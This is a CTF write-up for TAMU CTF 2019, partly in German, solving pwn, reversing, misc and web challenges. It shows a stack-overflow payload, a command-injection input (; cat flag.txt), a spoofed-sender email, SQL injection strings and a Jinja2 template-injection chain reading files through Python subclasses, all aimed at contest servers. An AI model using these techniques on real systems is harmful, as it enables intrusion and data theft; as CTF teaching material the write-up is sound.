tamuctf2019.md 82.4 KB
Newer Older
Ines Kramer's avatar
Ines Kramer committed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787
# TAMU CTF Writeup


#### Flag description: gigem{}
## PWN

### Pwn4 [331 - SOLVED]
nc pwn.tamuctf.com 4321
Difficulty: easy

connect to the server with: `nc pwn.tamuctf.com 4321`
and download the attached 
Following question is displayed:
> Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?

This is a reference to Monty Python and The Holy Grail:
http://montypython.50webs.com/scripts/Holy_Grail/Scene22.htm

Answer: `Sir Lancelot of Camelot`

next question:

> What... is your quest?

Answer: `To seek the Holy Grail.`

>What... is my secret?
>
This question is not part of the Monty Python scene 
Answer: ?

For this the attached binary as to be inspected.
open with radare2
```
r2 pwn1
aaa        //let radare analyse the file
afl        //look at all the functions in the program
            -> interesting function named "print_flag"
izz        //look at string literals in the file
pdf @ main    //inspect program flow of function main
```

i found out that there is a web gui for radare2:
first make sure that radare2 is updated to the latest version
then run the command: `radare2 -c='H' <binary>`

    push eax                                 
    char *gets(char *s)    
    call sym.imp.gets;[gl] 
    add esp, 0x10
    [0xdea110c8:4]=-1
    cmp dword [local_10h], 0xdea110c8 


**Solution:**

* Check file

        file pwn1
        pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

32 bit not stripped!!

* disassemble with main function gdb

        gdb pwn1
        >>> disass main
        .... 
        0x000008a6 <+301>:	lea    eax,[ebp-0x3b]
        0x000008a9 <+304>:	push   eax
        0x000008aa <+305>:	call   0x520 <gets@plt>
        0x000008af <+310>:	add    esp,0x10
        0x000008b2 <+313>:	cmp    DWORD PTR [ebp-0x10],0xdea110c8
        0x000008b9 <+320>:	jne    0x8c2 <main+329>
        0x000008bb <+322>:	call   0x6fd <print_flag>


-> the interesting  lines are these: first the relative virtual address [ebp-0x3b] is pushed on the stack for the last user input and gets@plt is called, which we can overwrite (SEGFAULT). Then the bytes in [ebp-0x10] are compared to 0xdea110c8, if they are equal the targeted function print_flag is called.

The offset to the bytes can be calculated by: 0x3b - 0x10 = 0x2b -> 43 dezimal

Therefore our exploit looks like (little endian):

    python -c 'print "A"*43+"\xc8\x10\xa1\xde"> in

then we add first two inputs 

    nano in
    Sir Lancelot of Camelot
    To seek the Holy Grail.
    AAA...

and run:
    
    nc pwn.tamuctf.com 4321 <in
    Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
    What... is your name?
    What... is your quest?
    What... is my secret?
    Right. Off you go.
    gigem{34sy_CC428ECD75A0D392}


### Pwn4 [307 - SOLVED]

nc pwn.tamuctf.com 4324

Difficulty: medium



    nc pwn.tamuctf.com 4324
    ls as a service (laas)(Copyright pending)
    Enter the arguments you would like to pass to ls:
    - ; cat flag.txt
    Result of ls - ; cat flag.txt:
    gigem{5y573m_0v3rfl0w}


## Misc

### Howdy:

        The flag is: gigem{H0wdy!}

### Onboarding Checklist [496 - SOLVED]

```
From: importantperson@somebigcorp.com
Date: Feb 22, 2019 9:00 AM
To: someguy@somebigcorp.com
Subject: New Employee Access

Hello Some Guy,

We need to begin sending requests for the new employee to get access to our security appliances. I believe they already know that you are authorized to make a new account request. Would you mind sending the new employee's email address to tamuctf@gmail.com so they can process the account request?

Thank you,
Important Person

The new employee can be a little slow to respond.

Difficulty: easy
```

You need to spoof the mail's sender. I sent the following message to tamuctf@gmail.com with the sender address `someguy@somebigcorp.com`:

```
The new employees address is somectfguy@mailinator.com

regards
Some Guy

On Sonntag, 24. Februar 2019 23:46:38 CET you wrote:
> From: importantperson@somebigcorp.com
> Date: Feb 22, 2019 9:00 AM
> To: someguy@somebigcorp.com
> Subject: New Employee Access
> 
> Hello Some Guy,
> 
> We need to begin sending requests for the new employee to get access to our
> security appliances. I believe they already know that you are authorized to
> make a new account request. Would you mind sending the new employee's email
> address to tamuctf@gmail.com so they can process the account request?
> 
> Thank you,
> Important Person
```

A minute later a mail arrived at `somectfguy@mailinator.com` containing the flag **gigem{wuT_4n_31337_sp0ofer_494C4F5645594F55}**


### I heard you like files. [367 solved]

Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.

Difficulty: easy-medium

    ExifTool Version Number         : 10.40
    File Name                       : art.png
    Directory                       : .
    File Size                       : 3.4 MB
    File Modification Date/Time     : 2019:02:28 23:06:24+01:00
    File Access Date/Time           : 2019:02:28 23:06:48+01:00
    File Inode Change Date/Time     : 2019:02:28 23:06:24+01:00
    File Permissions                : rw-r--r--
    File Type                       : PNG
    File Type Extension             : png
    MIME Type                       : image/png
    Image Width                     : 1920
    Image Height                    : 1080
    Bit Depth                       : 8
    Color Type                      : RGB with Alpha
    Compression                     : Deflate/Inflate
    Filter                          : Adaptive
    Interlace                       : Noninterlaced
    Warning                         : [minor] Trailer data after PNG IEND chunk
    Image Size                      : 1920x1080
    Megapixels                      : 2.1
    
the warning is interesting seems that something is hiddn in this .png cause with 3.4 MB it is also oversized

* extracted pdf

        #!/usr/bin/env python3
        # -*- coding: utf-8 -*-

        with open("art.png", 'rb') as f:
            s = f.read()

        a=s.index(b'PDF')

        b=s[a:]
        open("artpdf.pdf",'wb').write(b)
        print(b)
        c=b.index(b'EOF')
        print(c)
        d=b[c:]
        print(d)

EOF tag is not at the end

* unzipped pdf

        unzip artpdf.pdf
        Archive:  artpdf.pdf
        warning [artpdf.pdf]:  2039908 extra bytes at beginning or within zipfile
          (attempting to process anyway)
          inflating: _rels/.rels             
          inflating: docProps/app.xml        
          inflating: docProps/core.xml       
          inflating: word/_rels/document.xml.rels  
          inflating: word/settings.xml       
          inflating: word/fontTable.xml      
          inflating: word/media/image1.png   
          inflating: word/document.xml       
          inflating: word/styles.xml         
          inflating: [Content_Types].xml     
         extracting: not_the_flag.txt   

    so we extracted another png in word/media/image1.png  and

* tested the image1.png with exiftool
     
         exiftool image1.png
        ... 
        Warning    : [minor] Trailer data after PNG IEND chunk
 
        
*  again some bytes have a closer look with xxd

        xxd image1.png
        ...
        00014ac0: 330a 2525 454f 460a 5a6d 7868 5a33 7451  3.%%EOF.ZmxhZ3tQ
        00014ad0: 4d47 785a 6445 4279 5830 5177 5833 6b77  MGxZdEByX0QwX3kw
        00014ae0: 6456 3948 4d33 5266 5358 5266 546a 4233  dV9HM3RfSXRfTjB3
        00014af0: 5033 304b 0a                             P30K.

* decoded base64 online ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K and got: flag{P0lYt@r_D0_y0u_G3t_It_N0w?}

## Reversing

### Cheesy [435 - SOLVED]

old solution [wrong]:

    Nach dem Ausführen der Datei:
    QUFBQUFBQUFBQUFBQUFBQQ==
    Hello! I bet you are looking for the flag..
    I really like basic encoding.. can you tell what kind I used??
    RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
    Q2FuIHlvdSByZWNvZ25pemUgYmFzZTY0Pz8=
    RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
    WW91IGp1c3QgbWlzc2VkIHRoZSBmbGFn

    Base64 decoding:

        QUFBQUFBQUFBQUFBQUFBQQ==
        AAAAAAAAAAAAAAAA

        RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
        FLAGflagFLAGflagFLAGflag

        Q2FuIHlvdSByZWNvZ25pemUgYmFzZTY0Pz8=
        Can you recognize base64??

        RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
        FLAGflagFLAGflagFLAGflag

        WW91IGp1c3QgbWlzc2VkIHRoZSBmbGFn
        You just missed the flag
    
new solution:
    
    strings reversing1
    ...
    Hello! I bet you are looking for the flag..
    I really like basic encoding.. can you tell what kind I used??
    RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
    Q2FuIHlvdSByZWNvZ25pemUgYmFzZTY0Pz8=
    Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==
    WW91IGp1c3QgbWlzc2VkIHRoZSBmbGFn
    ...
    
    
    Base64 Decoding:

        Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==
        gigem{3a5y_R3v3r51N6!}
    
    
### Snakesy Cheesy [458 - SOLVED]
1. Datei mit Chmod +x ausgeführt
2. Decompiled mit https://python-decompiler.com/
3. XidT Array mt dezToAscii converter entschlüsselt:
4. SuperSecretKey
5. SuperSercertKey im Reverse2.pyc eingegeben:
6. flag{decompile}


### 042 [415 solved]

Cheers for actual assembly!

#medium

* downloaded file reversing3.s
* had a look
    
        file reversing3.s 
        reversing3.s: assembler source, ASCII text

* unfortunately it is pure assembler for build version for macos and does no compile with nasm
* having a deeper look at the assembler code and found:

        callq	_memset
        movb	$65, -16(%rbp)		## A
        movb	$53, -15(%rbp)		## 5
        movb	$53, -14(%rbp)		## 5
        movb	$51, -13(%rbp)		## 3
        movb	$77, -12(%rbp)		## M
        movb	$98, -11(%rbp)		## b
        movb	$49, -10(%rbp)		## 1
        movb	$89, -9(%rbp)		## Y
        movl	$0, -28(%rbp)		## 0
        movl	$1, -32(%rbp)		## 1
        movl	$2, -36(%rbp)		## 2

    and a string in .section 
        
        L_.str.2:                               ## @.str.2
	    .asciz	"gigem{%s}\n"
* both loaded in %rsi and %rdi and then the print function is called

        leaq	L_.str.2(%rip), %rdi
        leaq	-16(%rbp), %rsi
        movl	%eax, -72(%rbp)         ## 4-byte Spill
        movb	$0, %al
        callq	_printf

* so I tried **gigem{A553Mb1Y}** for the flag and it worked

### KeyGenMe [437 solved]

    nc rev.tamuctf.com 7223

Difficulty: medium (but hard for me!!)


* examine with file

        file keygenme
        keygenme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bdfcecb4a15e6799183d97acdd20a022a686efa1, not stripped
 
 
* check the strings just extracted interesting part
    
        [OIonU2_<__nK<KsK
        Please Enter a product key to continue: 
        flag.txt
        Too bad the flag is only on the remote server!
        ;*3$"
  so we have to read a file flag.txt on the remote machine

    
* analyze with radare2, aaa for reading all symbols

        r2 keygenme
        aaa
        
* list functions
       
        afl
        0x00000000   10 459  -> 461  sym.imp.__libc_start_main
        0x00000750    3 23           sym._init
        0x00000780    1 6            sym.imp.puts
        0x00000790    1 6            sym.imp.strlen
        0x000007a0    1 6            sym.imp.__stack_chk_fail
        0x000007b0    1 6            sym.imp.printf
        0x000007c0    1 6            sym.imp.fgets
        0x000007d0    1 6            sym.imp.strcmp
        0x000007e0    1 6            sym.imp.malloc
        0x000007f0    1 6            sym.imp.setvbuf
        0x00000800    1 6            sym.imp.fopen
        0x00000810    1 6            sub.__cxa_finalize_810
        0x00000820    1 43           entry0
        0x00000850    4 50   -> 40   sym.deregister_tm_clones
        0x00000890    4 66   -> 57   sym.register_tm_clones
        0x000008e0    5 58   -> 51   sym.__do_global_dtors_aux
        0x00000920    1 10           entry1.init
        0x0000092a    4 176          sym.enc
        0x000009da    5 108          sym.verify_key
        0x00000a46    8 244          main
        0x00000b40    4 101          sym.__libc_csu_init
        0x00000bb0    1 2            sym.__libc_csu_fini
        0x00000bb4    1 9            sym._fini

 found sym.verify_key and sym.enc interesting
* static analysis
    had a look to the main function which is passing the input serial number to the function sym.verify.key.

        s sym.verify key        # s - seek to address
        VVV                    # change presentation  with p
        
         |  0xa11 [gd]                                   |   |  0xa0a [gb]                             |                               
         | ; CODE XREF from sym.verify_key (0xa07)       |   | ; CODE XREF from sym.verify_key (0x9f6) |                               
         | mov rax, qword [s]                            |   | mov eax, 0                              |                               
         | mov rdi, rax                                  |   | jmp 0xa44;[gf]                          |                               
         | call sym.enc;[gg]                             |   `-----------------------------------------'                               
         | mov qword [s2], rax                           |       v                                                                     
         | ; 0xbc8                                       |       |                                                                     
         | ; "[OIonU2_<__nK<KsK"                         |       |                                                                     
         | lea rax, qword str.OIonU2____nK_KsK           |       |                                                                     
         | mov qword [s1], rax                           |       |                                                                     
         | mov rdx, qword [s2]                           |       |                                                                     
         | mov rax, qword [s1]                           |       |                                                                     
         | ; const char *s2                              |       |                                                                     
         | mov rsi, rdx                                  |       |                                                                     
         | ; const char *s1                              |       |                                                                     
         | mov rdi, rax                                  |       |                                                                     
         | ; int strcmp(const char *s1, const char *s2)  |       |                                                                     
         | call sym.imp.strcmp;[gh]                      |       |                                                                     
         | test eax, eax                                 |       |                                                                     
         | sete al  

  The user input gets first encrypted and the compared to the string "[OIonU2_<__nK<KsK". So we need to crack the sym.enc function:
  
* Static and dynamic analysis of sym.enc
   The interesting part is a loop which subsequently processes each char of the user inputstring. For the debugging  I used gdb and I needed to record all register values of the first two looping cycles for the inputstring '111111111' to write the python code with similar functionality below. After that I changed the code to find the byte values for the inputstring thar match the string "[OIonU2_<__nK<KsK".

                     
                                                    ||  0x960 [ge]                        |    			|  0x9d4 [gf]                     |                                
                                                    || ; CODE XREF from sym.enc (0x9d2)   |   			 | mov rax, qword [local_8h]       |                                
                                                    || mov eax, dword [local_10h]         | 0		   | leave                           |                                
                                                    || movsxd rdx, eax                    | 0  			 | ret                             |                                
                                                    || mov rax, qword [s]                 | rax ="123456789\n" , 0x7fffffffe111 ("23456789\n")                               
                                                    || ; '('                              |                                                                       
                                                    || add rax, rdx                       | rax ="123456789\n"                                                                     
                                                    || movzx eax, byte [rax]              | rax= 0x31/'1', 0x32/'2'                                                                 
                                                    || movsx eax, al                      | rax= 0x31/'1', 0x32/'2'                                                                   
                                                    || lea edx, dword [rax + 0xc] rax+10  | rdx= 0x3d/'=',  0x3e/'>'                                                                     
                                                    || movzx eax, byte [local_11h]        | rax= 0x48/'H', 0x31('u')                                                                 
                                                    || imul eax, edx                      | rax=0x1128,0x1c56                 
                                                    || lea ecx, dword [rax + 0x11]        | rcx=0x1139                                                                     
                                                    || mov edx, 0xea0ea0eb                | rdx=0xea0ea0eb                                                                    
                                                    || mov eax, ecx                       | rax=0x1139                                                                     
                                                    || imul edx            #  eax*edx     | rax=0x15f16f53 rdx=0xfffffe86, 0xc57c728d  0xfffffd90            
                                                    || lea eax, dword [rdx + rcx]         | rax= 0xfbf,   0x19f7                                             
                                                    || sar eax, 6   #right shift 6        | rax=0x3e('>') 0x67 ('g')
                                                    || mov edx, eax                       | rdx= 0x3e('>')                                                                      
                                                    || mov eax, ecx                       | rax=0x1139                                                                    
                                                    || sar eax, 0x1f                      | rax=0                       
                                                    || sub edx, eax                       | rdx=0                                                                    
                                                    || mov eax, edx                       | rax=0x3e('>')                                                                       
                                                    || imul eax, eax, 0x46                | rax= 0x10f4   0x1c2a                                                                  
                                                    || sub ecx, eax                       | rcx= 0x45 ('E')                                                                
                                                    || mov eax, ecx                       | rax= 0x45 ('E')                                                                     
                                                    || ; '0'                              |                                                                       
                                                    || lea ecx, dword [rax + 0x30]        | rcx= 0x75 ('u')                                                                     
                                                    || mov eax, dword [local_10h]         | rax=0                                                                     
                                                    || movsxd rdx, eax                    | rdx=0                                                                     
                                                    || mov rax, qword [local_8h]          | rax=0x555555757670                                                                     
                                                    || ; '('                              |                                                                       
                                                    || add rax, rdx                       | rax=0x555555757670                                                                   
                                                    || mov edx, ecx                       | rcx=0x75 ('u')                                                                
                                                    || mov byte [rax], dl                 | 0x555555757670 --> 0x75 ('u')                                                                    
                                                    || mov eax, dword [local_10h]         | r.ax=0                                                                      
                                                    || movsxd rdx, eax                    | rdx=0                                                                     
                                                    || mov rax, qword [local_8h]          | rax=  0x555555757670 --> 0x75 ('u')                                                                    
                                                    || ; '('                              |                                                                       
                                                    || add rax, rdx                       | rax==                                                                  
                                                    || movzx eax, byte [rax]              | rax=0x75('u')                                                                      
                                                    || mov byte [local_11h], al           | 11h=0x75007ffff7a8a00                                                                     
                                                    || add dword [local_10h], 1           | 10h=  0xa00000001                                                                   
                                                    |`------------------------------------'                                





* **Solution:** reversed the sym.enc function and tested for valid bytes as input (it took me very long to accept that the input serial is not consisting of readable chars)

        # -*- coding: utf-8 -*-
        out=b''
        should= "[OIonU2_<__nK<KsK"
        alpha=range(0,256)                    
        oldrax=0x48                  # H
        for a in should:

            for ch in alpha:
                rdx=ch+0xc             
                rax=rdx*oldrax
                rcx= rax+0x11
                rdx=0xea0ea0eb 
                rax=rcx*rdx 
                rax= rax >>32
                rax=rax >>6
                rax=rax*0x46
                rax=rcx-rax
                rax=rax+0x30
                if chr(rax)==a:
                    oldrax=rax
                    print(ch)
                    out=out+bytes([ch])
                    break

        open("in","wb").write(out)



        nc rev.tamuctf.com 7223 < in

        Please Enter a product key to continue: 
        gigem{k3y63n_m3?_k3y63n_y0u!}



## Web

### Not Another SQLi Challenge [272 - SOLVED]

http://web1.tamuctf.com

Difficulty: easy


NETid: 20' or '1'='1
password: 20' or '1'='1

gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}!



### Robots Rule [480 - SOLVED]
http://web5.tamuctf.com
Difficulty: easy

If we look into the /robots.txt file we see following:
```
    User-agent: *

    WHAT IS UP, MY FELLOW HUMAN!
    HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!
    YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!
```

-> I change my user-agent to the google-crawler user-agent and reloaded the website:
```
    User-agent: *

    THE HUMANS SUSPECT NOTHING!
    HERE IS THE SECRET INFORMATION: gigem{be3p-bOop_rob0tz_4-lyfe}
    LONG LIVE THE GOOGLEBOTS!
```

flag: `gigem{be3p-bOop_rob0tz_4-lyfe}`


### Science! [341 - SOLVED]

http://web3.tamuctf.com

Difficulty: medium

Found reflected XSS vulnerability, but I do not know how to exploit!!
insert in chemical1: <script>alert('1234')</script>

Unter https://gitlab.tamuctf.com/root/science kann der Source Code der Applikation eingesehen werden.

Die Seite verwendet die [`Jinja2` templating Engine](http://jinja.pocoo.org/docs/2.10/templates/), es ist eine Template Injection möglich. So produziert die Eingabe von `{{config}}` in ein Eingabefeld das folgende:

```
The result of combining <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'tamuctf', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'SECERT_KEY': 'super-secret', 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'WFT_CSRF_ENABLED': True, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}> and 2 is:
```

Es können lokale Dateien inkludiert werden: `{% include "base.html" %}`. Da das funktioniert, is der aktuelle Pfad der `template` Ordner (siehe Source Code).

Unter zuhilfenahme [dieser Anleitung](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti) wurde folgendes erprobt:

Zuerst wurde die Anzahl der verfügbaren Klassen ermittelt:

|Eingabe|Ausgabe|
|-------|-------|
|{{config.items()}}|[('JSON_AS_ASCII', True), ('O_DSYNC', 4096), ('O_RSYNC', 1052672), ('EX_IOERR', 74),...]|
|{{config.items()[4][1].__class__.__base__}}|<type 'object'>|
|{{config.items()[4][1].__class__.__base__.__subclasses__()}}| [<type 'type'>, <type 'weakref'>, ... , <type 'file'>, ..., , <class 'subprocess.Popen'>, ...]|
|{{config.items()[4][1].__class__.__base__.__subclasses__()[230]}}|<class 'subprocess.Popen'>|
|{{config.items()[4][1].__class__.__base__.__subclasses__()[40]}}|<type 'file'>|

Versuche mit `subprocess.Popen` führten zu nichts, da es nicht gelang stdout auszulesen. Mit hilfe von `file` klappte es aber schließlich:

|Eingabe|Ausgabe|
|-------|-------|
{{config.items()[4][1].__class__.__base__.__subclasses__()[40]("flag.txt").read()}}|gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}|

### Buckets [365 solved]

Checkout my s3 bucket website!
http://tamuctf.s3-website-us-west-2.amazonaws.com/
Difficulty: easy

Let's make an aws ls search on that bucket: `aws s3 ls`
```
                           PRE Animals/
                           PRE Cats/
                           PRE Dogs/
2019-02-19 17:06:49     124222 doggos3.jpg
2019-02-19 17:06:49        632 index.html
```
The prefix folder look promising, let's make a recursive search: `aws s3 ls --recursive s3://tamuctf`
```
2019-02-19 17:06:50      63121 Animals/animals.jpg
